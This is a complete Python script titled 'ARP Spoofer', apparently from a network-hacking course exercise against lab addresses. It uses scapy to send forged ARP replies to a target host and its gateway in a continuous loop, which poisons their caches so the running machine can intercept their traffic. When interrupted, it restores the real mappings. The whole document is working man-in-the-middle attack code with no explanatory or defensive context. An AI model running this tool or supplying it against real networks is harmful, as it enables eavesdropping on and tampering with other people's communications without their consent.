ARP Spoofer

#!/user/bin/env python

import scapy.all as scapy
import time
import sys


def get_mac_by_ip(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def spoof(target_ip, gateway_ip):
    target_mac = get_mac_by_ip(target_ip)
    gateway_mac = get_mac_by_ip(gateway_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
    scapy.send(packet, verbose=False)
    packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
    scapy.send(packet, verbose=False)


def restore(target_ip, gateway_ip):
    target_mac = get_mac_by_ip(target_ip)
    gateway_mac = get_mac_by_ip(gateway_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
    scapy.send(packet, verbose=False, count=4)
    packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
    scapy.send(packet, verbose=False, count=4)


target = "10.0.2.15"
gateway = "10.0.2.1"

packet_count = 0
try:
    while True:
        packet_count += 2
        spoof(target, gateway)
        print("\r[+] Packet sent: " + str(packet_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[-] Quitting ...")
    restore(target, gateway)